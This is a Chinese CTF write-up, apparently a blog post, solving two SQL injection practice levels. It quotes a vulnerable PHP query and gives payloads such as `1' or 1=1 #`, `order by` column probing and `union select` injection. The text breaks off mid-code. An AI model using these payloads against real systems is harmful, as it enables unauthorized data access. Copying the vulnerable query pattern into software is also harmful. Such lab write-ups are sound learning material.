sql 注入练习题

sql注入习题

来源于ctfs.me的一道习题,实在做不出来,google了wp,发现这道题目是引自于其他习题集了,而且原题目是有源码的。。。于是趁机把他的题目做了一遍
http://35.184.20.243:8003/ <——sql注入靶场地址

level1

这道题目其实没有源码也是可以做的,不过需要简单思考一下
$query = "SELECT * FROM secrets WHERE session_id = '" . $_POST['session_id'] . "'";
这个语句,我们需要让where 后面的为true,所以我们需要用到or,比较简单的题目
payload:1' or 1=1 #
在get your secrets里面输入,就可以得到所有的secrets,第一个就是flag

level2

这道题目在ctfs.me上很坑,我不晓得大佬是怎么做的。
假如不给源码,我首先想到的是万能密码登陆,一顿操作之后,发现注入点在用户名的位置登陆不了,gg
换思路,考虑这个登陆的回显
payload:username:1'order by 1# &password=dd
回显: username/password is invalid
payload:`username:1’order by 2# &password=dd’
回显: invalid sql query

可以知道只有一列,所以我们可以看看回显的位置
payload: username=1' union select 1 -- -&password=dd
回显。。。,回显出flag了,但是页面显示的不是真正的,查看源码发现另一个flag,get!


假如给了源码,那就稍微简单一点了

if (isset($_POST['username']) && isset($_POST['password'])) {

    // $query = "SELECT flag FROM my_secret_table"; We leave commented code in production because we're cool.

    $query = 
  • 6
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值